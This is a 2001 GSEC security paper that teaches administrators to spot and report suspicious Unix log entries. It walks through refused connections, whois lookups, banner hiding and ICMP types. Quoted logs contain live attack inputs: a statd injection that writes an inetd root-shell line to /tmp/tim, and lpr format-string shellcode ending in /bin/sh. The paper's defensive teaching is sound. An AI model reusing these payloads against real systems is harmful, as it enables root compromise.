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## Suspicious Unix Log File Entries and Reporting Considerations

In my Kickstart paper I covered basic Unix log files with a configuration file that gathered everything. I would like to expand on that and now cover messages found in those log files that would cause concern and require further investigation. My selection to continue on this subject lies in my inability to find comprehensive information that provides direction to administrators, particularly those in federal government, on what messages in log files could require critical attention and reporting.

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**Cathy Gresham**  
**GSEC Practical Requirements (v.1.3) (December 2001)**  
**Assignment: Research Important Security Issue**

**Citation of Sources**

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**Abstract**

In my Kickstart paper I covered basic Unix log files with a configuration file that gathered everything. I would like to expand on that and now cover messages found in those log files that would cause concern and require further investigation. My selection to continue on this subject lies in my inability to find comprehensive information that provides direction to administrators, particularly those in federal government, on what messages in log files could require critical attention and reporting.

**Main Text**

**Background**

Federal government is now focusing attention on Homeland Security. This concept encompasses all aspects of cybersecurity, within federal government and across all computer systems providing services to the United States. It includes systems that provide utility services, hospital and emergency care services, telecommunications, transportation and supply services and many other services. The intent is to ensure our country is not susceptible to shutdown in times of national emergency by continuing essential services.

Unix system log files can be an indication of intrusion more critical than ever before. When information reported from local log files is fit into a bigger picture, including critical infrastructure systems as mentioned above, another picture could emerge that would indicate threats to national security. This is why it is always important to report system compromises.

## Review

Log files configured in `/etc/syslog.conf` receive messages directed by the `syslog` daemon. The daemon starts during system initialization, from `/etc/rc2.d/S74syslog`. The script is read and initiates the `syslog` daemon. `syslogd` reads the `/etc/syslog.conf` configuration file, monitors the system and directs messages requested by the configuration file to the appropriate log file.

`/var/log/syslog` and `/var/adm/messages` continue to log information as long as the `syslog` daemon is running. They are activated and effected by settings in the `/etc/syslog.conf` file, however this file is not the only thing causing messages to write to these log files.

As you install software to a system, you can expect changes to `/var/log/syslog` and `/var/adm/messages` files. Knowing what to expect under normal circumstances will enable you to distinguish when system compromises have occurred. It's a good idea to become familiar with these log files by reviewing them daily. Now we take a look at messages in these log files that would not be considered normal and how to effectively respond.

## Configuration

This is a simple `syslog.conf` configuration file that gathers information used in these examples:

```
mail.debug;                /var/log/syslog
*.debug;mail.none;        /var/adm/messages
```

The first line sends all messages relating to the mail logging facility to `/var/log/syslog`. The second line sends all messages except messages relating to the mail logging facility to `/var/log/syslog`.

We know the default installation of `tcp_wrappers` sends messages to `/var/log/syslog`. We also know the unix kernel will send messages to `/var/adm/messages`. It is possible other installed software also sends messages to these files.

## Connections

We look at the `syslog` file and see connections we recognize. Below we know `DESKTOP` is our personal system connecting to `THIS_SYSTEM`. We know `SERVER` sits beside `THIS_SYSTEM` in the computer room and people normally connect from `SERVER` to `THIS_SYSTEM` using `telnet`. `DESKTOP` and `SERVER` are configured for reverse lookup so we expect to see the system name instead of an ip address in this field. Everything below looks normal.

```
cat /var/log/syslog | grep -v mail
```

```
Jan 3 07:23:36 THIS_SYSTEM in.telnetd[18705]: connect from DESKTOP
Jan 3 09:03:58 THIS_SYSTEM in.telnetd[19033]: connect from SERVER
Jan 3 09:07:02 THIS_SYSTEM in.telnetd[19095]: connect from SERVER
Jan 3 09:08:30 THIS_SYSTEM in.telnetd[19275]: connect from DESKTOP
```

But one day we find this in /var/log/syslog:

```
cat /var/log/syslog | grep -v mail
```

```
Jan 7 13:36:16 THIS_SYSTEM in.telnetd[29466]: refused connect from
444.999.251.184
Jan 7 13:38:57 THIS_SYSTEM in.telnetd[29499]: refused connect from
444.999.251.184
Jan 7 13:39:44 THIS_SYSTEM in.telnetd[29503]: refused connect from
444.999.251.184
```

Is this a cause for concern? We recognize that the 444.999 network is not our own. Normally we expect incoming telnet connections to THIS\_SYSTEM from only our local in-house network. Is this a security incident? Remember it's important to do your homework before sounding the alarm. It's a bad idea for an administrator to cry wolf too many times.

### Lookup

First, let's see if we can find out what 444.999 network is at Sam Spade.org. Why Sam Spade.org? At Sam Spade, we can do a query of the unknown network address and receive a variety of information. (For other reasons why, please visit <http://www.samspade.org/d/faq#websitewhy>)

Below is the page of information Sam Spade provides when we query the address that was refused connection at THIS\_SYSTEM.

```
dns 444.999.251.184
444.999.251.184 has no reverse DNS configured.
```

```
whois -h magic 444.999.251.184
Trying whois -h whois.arin.net 444.999.251.184
```

```
My Parent Organization (NET-PARENT-NET)
Address
City, State zip
US
```

```
Netname: PARENT-NET
Netblock: 444.999.0.0 - 444.999.255.255
```

```
Coordinator:
Smith, John (JS99-ARIN) John.S.Smith@PARENT.COM
```

(333)777-0600 (FAX) (333)777-0603

Domain System inverse mapping provided by:

DOM1.PARENT.COM 444.999.81.18

DOM2.PARENT.COM 666.555.32.3

DOM3.PARENT.COM 999.111.123.245

DOM4.PARENT.COM 999.999.173.133

Record last updated on 09-Jan-2002.

Database last updated on 9-Jan-2002 19:56:19 EDT.

The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's.

Please use the whois server at rs.internic.net for DOMAIN related Information and whois.nic.mil for NIPRNET Information.

traceroute 444.999.251.184

```
3  999.777.117.161  5.842 ms  DNS error [AS2914] Verio
4  222.555.29.126  3.51 ms   ge-6-2-0-r00.lsanca01.us.bb.verio.net [AS2914] Verio
5  222.555.2.25    12.949 ms  p4-2-0-0-r01.snjsca03.us.bb.verio.net [AS2914] Verio
6  222.555.2.62   18.652 ms  p16-3-0-0-r04.snjsca03.us.bb.verio.net [AS2914] Verio
7  222.555.3.34   17.241 ms  p4-0-1-0-r00.scrmca01.us.bb.verio.net [AS2914] Verio
8  222.555.9.98   17.486 ms  p4-0.uunet.scrmca01.us.bb.verio.net [AS2914] Verio
9  555.666.53.6   16.802 ms  0.so-2-0-0.XL2.TGV1..NET [AS701] Alternet
10 555.666.54.10  18.903 ms  0.so-3-0-0.TL2.TGV1..NET [AS701] Alternet
11 * 555.666.19.170 100.686 ms 0.so-3-0-0.TL2.PXK6..NET [AS701] Alternet
12 555.666.38.74  133.5 ms   0.so-6-0-0.XL2.PXK6..NET [AS701] Alternet
13 555.666.35.117 125.203 ms 0.so-0-0-0.XR2.PXK6..NET [AS701] Alternet
14 555.666.33.62  133.146 ms 184.at-5-0-0.XR2.TCO1..NET [AS701] Alternet
15 777.333.35.222 114.683 ms parent-gw.customer..NET [AS701] Alternet
16 444.999.111.36 108.306 ms DNS error [AS6629/AS297] PARENT / SHARE
Internet
17 444.999.81.81  134.590 ms DNS error [AS6629/AS297] PARENT / SHARE
Internet
```

The above information tells us the following:

This system has no reverse DNS configured.

The address of the organization responsible for the block of IP addresses that contains the known address. I can see the organization responsible is the company that owns the company I work for. I know they distribute IP addresses nationwide for all their installations.

Name of person responsible for IP addresses in this block. I recognize the name of the Coordinator because I had to call him last week to request a fixed IP address.

Inverse mapping information. Again, I recognize these Internet addresses as belonging to the regional offices of my company.

Traceroute information. I can see the connection communicates across the Verio network. I know this is the network provider for my company. I know Altnet is part of the UUNet network and some of our routing often crosses this path.

By the above information we can determine the refused connection probably comes from somewhere within my company. I can contact my Network Administrator to determine who owns the 444.999.251 subnet. From there I can contact someone who can give me a better idea of who tried to make the connection. But, I still don't have enough information to determine if this is a hack attempt or hostile probe. I do know they did not connect to THIS\_SYSTEM via telnet. The tcp\_wrappers prevented this. This could be just a confused user trying to access the wrong system. Further investigation is needed to find out just what happened here and determine if reporting and further contact is necessary.

Here are some other examples of refused connections:

Oct 25 17:36:03 THIS\_SYSTEM in.telnet[26016]: refused connect from 66.888.194.149

Nov 6 18:31:31 THIS\_SYSTEM in.telnet[29397]: refused connect from 66.888.199.142

Nov 6 18:31:34 THIS\_SYSTEM in.telnet[29398]: refused connect from 66.888.199.142

Nov 25 00:43:40 THIS\_SYSTEM in.ftpd[3225]: refused connect from  
89wetr0.efdv.state.nc.us

Nov 26 23:53:40 THIS\_SYSTEM in.ftpd[3709]: refused connect from ISGasdf-505-1-6-  
111.abo.wanadoo.fr

Dec 27 09:43:18 THIS\_SYSTEM in.telnet[29693]: refused connect from  
nixman.lkj.uva.es

Dec 28 13:48:27 THIS\_SYSTEM in.ftpd[2679]: refused connect from 77.333.15.138

Dec 30 15:35:54 THIS\_SYSTEM in.ftpd[4270]: refused connect from 44.22.60.2

Jan 3 16:23:49 THIS\_SYSTEM in.telnet[22036]: refused connect from www.rtf-sna.net

Jan 6 16:27:59 THIS\_SYSTEM in.ftpd[19622]: refused connect from  
pD5E5E5DC.pip.t-dialin.net

Refused connections should be investigated to help build firewall rules and reduce hostile probes in addition to accurate and effective reporting. Many refused connections will be hostile probes. Using the same method above, you can investigate these refused connections, build firewall rules to eliminate or reduce hostile probes and effectively report hostile probes to the proper organization. It is important to report the above refused connections so they can be compared with what other organizations are also reporting. We feel confident none of the above addresses come from our network. Before reporting be sure to check each address with Sam Spade.

Let's check 77.333.15.138 at Sam Spade:

whois -h magic 77.333.15.138  
Trying whois -h whois.arin.net 77.333.15.138

#### European Regional Internet Registry/RIPE NCC (NETBLK-RIPE-C2)

These addresses have been further assigned to European users.

Contact info can be found in the RIPE database, via the  
WHOIS and TELNET servers at whois.ripe.net, and at  
<http://www.ripe.net/perl/whois/>  
NL

Netname: RIPE-CBLK2  
Netblock: 77.0.0.0 - 77.255.255.255  
Maintainer: RIPE

#### Coordinator:

Reseaux IP European Network Co-ordination Centre Singel 258 (RIPE-NCC-  
ARIN) nicdb@RIPE.NET  
+31 77 5334444

The above certainly isn't someone from my national organization. I must report this to my IT Security Officer so the information may be compared with information from other agencies, companies and bureaus. It will be determined at a higher level whether the information from my system log indicates anything critical. I will probably never know but, as System Administrator, I am certainly obligated to make the report.

### **Vulnerabilities**

The Report of the Defense Science Board Task Force on Information Warfare sites the following vulnerabilities:

#### **Human factors**

- Information freely available
- Poor password choices
- Poor system configuration
- Vulnerability to "social engineering"

#### **Authentication-based**

- Password sniffing/cracking
- Social Engineering
- Via corrupted/trusted system

#### **Data driven**

- Directing E-mail to a program
- Embedded programming languages
  - Microsoft word macro
  - Postscript printer
- Remotely accessed software
  - JAVA, Active-X

#### **Software-based**

- Viruses
- Flaws
- Excess privileges
- Unused security features
- Trap doors
- Poor system configuration

#### **Protocol-based**

- Weak authentication
- Easily guessed sequence numbers
- Source routing of packets
- Unused header fields

#### **Denials of service**

- Network flooding
- "Spamming"
- Morris worm

#### **Cryptosystem weakness**

- Inadequate key size/characteristics
- Mathematical algorithm flaws

#### **Key Management**

- Deducing key
- Substituting key
- Intercepting key
- Setting key

#### **Bypassing**

- Capture data before encryption
- Turn off encryption
- Replay
- Denial of service

By recognizing the above vulnerabilities we gain a better insight as to what type of compromise could be expected from outsiders. Refused connections can be the start of a critical compromise that may be prevented. Patching is certainly a critical part of preventing compromise and reducing vulnerabilities. There is more we can do to protect systems.

#### **Connections**

From the above log file information, indicating refused connections you determined to be outside your organization, you could expect attempts on any of the above vulnerabilities. What information could you expect to be gained from refused connections? If it is a Sun system, you might see the following:

```
DESKTOP1 4# telnet THIS_SYSTEM
Trying 123.654.9.52...
Connected to THIS_SYSTEM.
Escape character is '^]'
```



## SunOS 5.8

NOTICE: You are connected to the Industry application on THIS\_SYSTEM  
login:

This is a lot of information from an attempted telnet session where login was not successful. The person attempting the login now knows THIS\_SYSTEM is a Sun system, running version 5.8 operating system. They know the Industry application resides on THIS\_SYSTEM.

The line NOTICE: is from the /etc/issue file. Each Sun operating system installs one of these files, with Sun information, in the operating system. Administrators often insert a custom message in this file. You must remove the file to eliminate information displayed between the operating system version and the login: prompt. Information found in /etc/issue could be the installed Sun file, or it could be a modified file similar to above that includes local information.

Operating system version is a standard system banner and is not held in a file. To eliminate this message you need a file for telnet connections in /etc/default - /etc/default/telnetd. In that file, create a line BANNER="" This will stop the operating system from displaying version at login attempts.

After making the above changes, you should see:  
flounder 6# telnet THIS\_SYSTEM  
Trying 123.654.9.52...  
Connected to THIS\_SYSTEM.  
Escape character is '^]'.  
login:

This provides no more information to the outsider than they already know. The same method applies to ftp, however the /etc/issue file is of no consequence.

Before :

```
DESKTOP1 10# ftp THIS_SYSTEM
Connected to THIS_SYSTEM.
220 THIS_SYSTEM FTP server (SunOS 5.8) ready.
Name (THIS_SYSTEM:catsndogs):
```

After /etc/default/ftpd with BANNER=""

```
DESKTOP1 11# ftp THIS_SYSTEM
Connected to THIS_SYSTEM.
220 THIS_SYSTEM FTP server () ready.
Name (THIS_SYSTEM:catsndogs):
```

## **ICMP**

What other information could refused login attempts provide? Along with displayed information above, network information could be passed in conjunction with the login attempt in the form of ICMP packets. This is something log files will not reflect.

ICMP (Internet Control Message Protocol) messages delivered in IP packets work with IP communications. They are used by Network Administrators to troubleshoot WAN or LAN network communications. These packets can be blocked at the local firewall because they can provide information to outsiders that could facilitate compromise, such as error reporting, flow control and first-hop gateway redirection. Some of the packets should not be blocked and can be expected to carry valuable information. Like the above examples with telnet and ftp, there is no need to provide unnecessary information such as operating system version or system platform.

This is a brief overview of some ICMP protocol messages. Hackers can use this ICMP information to facilitate attacks while remaining anonymous. For a complete ICMP message list, see the Appendix, compiled from: <http://www.iana.org/assignments/icmp-parameters>

### **ICMP Echo (Type 8) Incoming from Internet**

ICMP Echo datagram determines whether a target IP address is active or not. If active, you would see ICMP Echo Reply (Type 0) outgoing, indicating the target is alive. This protocol type would be useful for network testing, such as ping, nmap, pinger, fping. It shouldn't be used at internet level and instead allowed only on intranet for local testing.

### **ICMP Time Stamp Request (Type 13) Incoming from Internet**

ICMP Time Stamp Request and Reply allow a node to query another for the current time. This allows a sender to determine the amount of latency a particular network is experiencing. If active, you would see ICMP Time Stamp Reply (Type 14) outgoing, indicating the target is alive. This protocol type would be useful for network testing, such as icmpush. It shouldn't be used at Internet level and instead allowed only on intranet for local testing.

### **ICMP Information Request (Type 15) Incoming from Internet**

ICMP Information Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time, to allow them to discover their network address. If active, you would see Information Request Reply (Type 16) outgoing, indicating the target is alive. This protocol type would be useful for self-configuring systems such as diskless workstations and for tcpdump trace. RARP, BOOTP, and DHCP protocols provide better mechanisms for hosts to discover IP addresses and this mechanism is now obsolete.

### **ICMP Address Mask Request (Type 17) Incoming from Internet**

ICMP Address Mask Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time, to allow them to obtain a subnet mask in use on the local network at boot time. Address Mask Request is also used when a node

wants to know the address mask of an interface. These requests are usually answered by a gateway. If active, you would see Address Mask Request Reply (Type 18) outgoing, indicating the target is alive. This protocol type must be implemented on routers to identify routers along the path to the targeted network. It will reveal internal routers if this traffic is allowed to reach them. It should not forward an Address Mask Request to another network.

**ICMP Destination Unreachable, Protocol (Type 3 - Code 2) Outgoing to Internet**

If a certain protocol were not allowed through the filtering device you would not receive any ICMP error message from the probed machine. Probing for all combinations of protocols and ports against an IP range of a targeted network using non-valid and valid protocol values can determine the ACL a filtering device is forcing on the protected network, along with the topology map of a targeted network (hosts reachable from the Internet).

**Back to Log Files**

Given the above information, we can expect to eventually see an attack of some kind on our system. There will be an indication in the system log files, provided the configuration lines above are used, that this has occurred. Now, let's look at some suspicious log files messages.

First, let's look at what we might see if the statd buffer overflow is exploited. This could drop an intruder into the high-level bin login. The file they are exploiting is /usr/lib/nfs/statd. Permissions for this file are ownership bin and group bin, 555. Our log file might display something similar to the following, which definitely should be reported as a hack. It appears the hacker tries to create the file /tmp/.nfs09 and then tries to execute that file.

```
>> /var/adm/messages:Oct 27 14:06:18 THIS_SYSTEM statd[145]: attempt to create
>> "/var/statmon/sm/../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
>> ..../../../../../../../../../../../../../../../../. \
>> ..../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../tmp/.nfs09 D H $ $ $ $
    \
>> ` O * * * * # #      P *` c 6)          #
# \
>> ;#      XbinXsh tirdwr          " On a Solaris 5.8 machine:
>> /var/adm/messages:Oct 27 16:46:24 THIS_SYSTEM statd[131]: statd: open of
>> /var/statmon/sm/../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
>> ..../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
>> /../../../../../../../../../../../../../../../../. \
```

```
> > ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../ \
> > ../../../../../../../../, error Invalid argument
```

Below is what might be seen if someone from the outside tries to exploit rpc.ttdbserverd. The file exploited is /usr/dt/bin/rpc.ttdbserverd and is linked to /usr/openwin/bin/rpc.ttdbserverd. Permissions are ownership root and group root, 775. This is not very secure and the file works just as well with permissions 555. Notice at the end of this hack attempt, the hacker tries to exploit the statd buffer overflow. The rpc.ttdbserverd portion of the attack appears to be searching for a mount point.

```
Nov 16 17:21:22 THIS_SYSTEM rpc.ttdbserverd[2006]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:21:22 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:21:23 THIS_SYSTEM rpc.ttdbserverd[2007]: iserase(): 78
Nov 16 17:22:11 THIS_SYSTEM rpc.ttdbserverd[2007]:
_Tt_file_system::findBestMountPoint -- \ max_matc-entry is null, aborting...
Nov 16 17:22:12 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:22:12 THIS_SYSTEM rpc.ttdbserverd[2008]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:22:13 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:22:14 THIS_SYSTEM rpc.ttdbserverd[2009]: iserase(): 78
Nov 16 17:22:14 THIS_SYSTEM rpc.ttdbserverd[2009]: iserase(): 78
Nov 16 17:24:15 THIS_SYSTEM rpc.ttdbserverd[2009]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:24:15 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:24:16 THIS_SYSTEM rpc.ttdbserverd[2010]: iserase(): 78
Nov 16 17:25:05 THIS_SYSTEM rpc.ttdbserverd[2010]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:25:16 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:25:17 THIS_SYSTEM rpc.ttdbserverd[2025]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:25:18 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status
Changed \ - core dumped
Nov 16 17:25:18 THIS_SYSTEM rpc.ttdbserverd[2035]: iserase(): 78
Nov 16 17:40:21 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \
"ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim
&"
Nov 16 17:40:21 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \
"ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim
&"
```

```
Nov 16 17:41:11 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \  
"ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \  
&"
```

Nov 16 17:41:12 THIS\_SYSTEM last message repeated 3 times

```
Nov 16 18:06:28 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \  
" ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \  
&"
```

Nov 16 18:08:38 THIS\_SYSTEM last message repeated 5 times

In the above statd attempts, the hacker tries to create /var/statmon/sm. This file is a standard system directory that would hold a file that would list hosts to be contacted after a reboot. A file named /tmp/tim is created with a line that starts an interactive bourne shell. Please compare this line: **ingreslock stream tcp nowait root /bin/sh sh -i** with lines in your /etc/inetd.conf file. inetd is started, running an interactive shell process with root permission from the file /tmp/tim. If successful, this will give the hacker root access to THIS\_SYSTEM.

We just reviewed two different hack attempts, one on /usr/dt/bin/rpc.ttdbserverd, which is linked to /usr/openwin/bin/rpc.ttdbserverd having permissions of ownership root and group root, 775. The other was on /usr/lib/nfs/statd with permissions of ownership bin and group bin, 555. Which of these two attacks, if successful, would give the attacker greater access? rpc.ttdbserverd because of ownership root. This is the level of access that would be gained if this daemon was successfully attacked. Permissions are of no consequence to the successful attacker. Login level would be root for rpc.ttdbserverd, bin for /usr/lib/nfs/statd, if the successful attack occurred.

Next is an attempt to crash the rpcbind daemon. We see the refused connect and know to lookup the IP address associated with this. Rpcbind was finally crashed or stopped. Information on this was sent through the mail (mail.warning, mail.error, mail.info) error group and we should expect this to be found in the /var/log/syslog file. This is something that should be reported, especially since the refused connections tried to do dump.

```
Jan 29 08:40:05 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect  
from 999.122.111.252 to dump()
```

```
Jan 29 08:41:09 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect  
from 999.122.111.252 to dump()
```

```
Jan 29 08:49:38 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect  
from 999.122.111.252 to dump()
```

```
Jan 30 18:14:32 THIS_SYSTEM rpcbind: [ID 564060 mail.error] rpcbind  
terminating on signal. Restart with "rpcbind -w"
```

This is a hack attempt on the lpr daemon through the bsd-gw process. Again, the hacker is trying to exploit a buffer overflow and gain shell access. Notice /bin/sh at the end of the error line. Code between request (66) and /bin/sh is the code that is trying to overflow the buffer. Notice how it changes in subsequent lines. You could expect to find many of these errors in your log files, or only one. This could be prevented with

tcp\_wrappers, unless it is coming from an authorized user. Regardless, this should be reported as a hack attempt.

Jun 2 07:05:36 THIS\_SYSTEM BSD-GW[7192]: [ID 315218 lpr.error] Invalid protocol request (66):

BBB\232\242\230\250XXXXXXXXXXXXXXXXXXXXX%.156u%300\$n%.21u%301\$nsecurity%302\$n%.192u%303\$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:05:57 THIS\_SYSTEM BSD-GW[7194]: [ID 315218 lpr.error] Invalid protocol request (66):

BBBH\244\230\250I\244\230\250J\244\230\250K\244\230\250XXXXXXXXXXXXXXXXXXXXX security%300\$n%.167u%301\$nsecurity.i%302\$n%.192u%303\$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:17:03 THIS\_SYSTEM BSD-GW[7413]: [ID 315218 lpr.error] Invalid protocol request (66):

BBB<=>?XXXXXXXXXXXXXXXXXXXXX%.252u%300\$n%.192u%301\$n%.254u%302\$n%.192u%303\$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:17:14 THIS\_SYSTEM BSD-GW[7417]: [ID 315218 lpr.error] Invalid protocol request (66): BBB,-

/XXXXXXXXXXXXXXXXXXXXX%.236u%300\$n%.208u%301\$n%.254u%302\$n%.192u%303\$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 7 14:34:52 THIS\_SYSTEM BSD-GW[14702]: [ID 315218 lpr.error] Invalid protocol request (66):

BBBXXXXXXXXXXXXXXXXXXXXX%.156u%300\$n%.21u%301\$nsecurity%302\$n%.192u%303\$n11F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:34:53 THIS\_SYSTEM BSD-GW[14703]: [ID 315218 lpr.error] Invalid protocol request (66):

BBB()\*+XXXXXXXXXXXXXXXXXXXXX%.232u%300\$n%.199u%301\$nsecurity.i%302\$n%.192u%303\$n11F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:00 THIS\_SYSTEM BSD-GW[14714]: [ID 315218 lpr.error] Invalid protocol request (66):

BBBXXXXXXXXXXXXXXXXXXXXX%.160u%300\$n%.29u%301\$n%.253u%302\$n%.192u%303\$n11F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:00 THIS\_SYSTEM BSD-GW[14715]: [ID 315218 lpr.error] Invalid protocol request (66):

BBBXXXXXXXXXXXXXXXXXXXXX%.156u%300\$n%.33u%X01\$n%.253u%302\$n%.192u%303\$n11F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:53 THIS\_SYSTEM BSD-GW[28720]: [ID 315218 lpr.error] Invalid protocol request (66):

BBBXXXXXXXXXXXXXXXXXXXXX%.156u%300\$n%.21u%301\$nsecurity%302\$n%.192u%303\$n11F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:54 THIS\_SYSTEM BSD-GW[28721]: [ID 315218 lpr.error] Invalid protocol request (66):



Hack attempts have no specific pattern. Only by becoming familiar with system log files will you, as System Administrator, be able to determine if a system compromise has occurred.

### Appendix - ICMP Table

This table was compiled from resources referenced above, on the Internet, and below.

#### ICMP TYPE NUMBERS, RETURN CODES AND REFERENCE

Type	Name	Reference	Codes
0	Echo Reply	[RFC792]	0 No Code
1,2,7	Unassigned	[JBP]	

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3	Destination Unreachable	[RFC792]	0 Net Unreachable 1 Host Unreachable <b>2 Protocol Unreachable</b> 3 Port Unreachable 4 Fragmentation Needed and Don't Fragment was Set 5 Source Route Failed 6 Destination Network Unknown 7 Destination Host Unknown <b>Reserved for US Military Use</b> <b>8 Source Host Isolated</b> <b>9 Communication with Destination Network is Administratively Prohibited</b> <b>10 Communication with Destination Host is Administratively Prohibited</b> 11 Destination Network Unreachable for Type of Service 12 Destination Host Unreachable for Type of Service 13 Communication Administratively Prohibited [RFC1812] 14 Host Precedence Violation [RFC1812] 15 Precedence cutoff in effect [RFC1812]
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4	Source Quench	[RFC792]	0 No Code
5	Redirect	[RFC792]	0 Redirect Datagram for the Network (or subnet) 1 Redirect Datagram for the Host 2 Redirect Datagram for the Type of Service and Network 3 Redirect Datagram for the Type of Service and Host
6	Alternate Host Address	[JBP]	0 Alternate Address for Host
8	Echo	[RFC792]	0 No Code
9	Router Advertisement	[RFC1256]	0 No Code
10	Router Solicitation	[RFC1256]	0 No Code
11	Time Exceeded	[RFC792]	0 Time to Live exceeded in Transit 1 Fragment Reassembly Time Exceeded
12	Parameter Problem	[RFC792]	0 Pointer indicates the error 1 Missing a Required Option [RFC1108] 2 Bad Length
13	Timestamp	[RFC792]	0 No Code
14	Timestamp Reply	[RFC792]	0 No Code
15	Information Request	[RFC792]	0 No Code
16	Information Reply	[RFC792]	0 No Code
17	Address Mask Request	[RFC950]	0 No Code
18	Address Mask Reply	[RFC950]	0 No Code

<b>19</b>	<b>Reserved (Security)</b>	[Solo]	
<b>20-29</b>	<b>Reserved (Robustness Experiment)</b>	[ZSu]	
30	Traceroute	[RFC1393]	0 Outbound Packet successfully forwarded. 1 No route for Outbound Packet. The packet was discarded.
31	Datagram Conversion Error	[RFC1475]	0 Unknown or unspecified error. 1 Don't convert option present. 2 Unknown mandatory option present. 3 Known unsupported option present. 4 Unsupported transport protocol. 5 Overall length exceeded. 6 IP header length exceeded. 7 Transport protocol > 255. 8 Port conversion out of range. 9 Transport header length exceeded. 10 32-bit rollover missing and ACK set. 11 Unknown mandatory transport option present.
<b>32</b>	Mobile Host Redirect	[David Johnson]	
<b>33</b>	IPv6 Where-Are-You	[Bill Simpson]	

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<b>34</b>	IPv6 I-Am-Here	[Bill Simpson]	
<b>35</b>	Mobile Registration Request	[Bill Simpson]	
<b>36</b>	Mobile Registration Reply	[Bill Simpson]	
37	Domain Name Request	[Bill Simpson]	
38	Domain Name Reply	[Bill Simpson]	
<b>39</b>	SKIP Algorithm Discovery Protocol	[Markson]	
<b>40</b>	Photuris	[Bill Simpson]	0 Reserved 1 unknown security parameters index 2 valid security parameters, but authentication failed 3 valid security parameters, but decryption failed
<b>41-255</b>	<b>Reserved</b>	[JBP]	

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- [**RFC1108**] Kent, S., "U.S. Department of Defense Security Options for the Internet Protocol", RFC 1108, November 1991.
- [**RFC1256**] Deering, S., Editor, "ICMP Router Discovery Messages", RFC 1256, Xerox PARC, September 1991.
- [**RFC1393**] Malkin, G., "Traceroute Using an IP Option", RFC 1393, Xylogics, Inc., January 1993.
- [**RFC1475**] Ullmann, R., "TP/IX: The Next Internet", RFC 1475, Process Software Corporation, June 1993.
- [**RFC1812**] Baker, F., "Requirements for IP Version 4 Routers", RFC 1812, Cisco Systems, June 1995.
- [**JBP**] Jon Postel, <postel@isi.edu>, September 1995.
- [**David Johnson**] <dbj@cs.rice.edu>
- [**Markson**] Tom Markson, <markson@osmosys.incog.com>, September 1995.

**[Simpson]** Bill Simpson, <Bill.Simpson@um.cc.umich.edu>, October 1995.  
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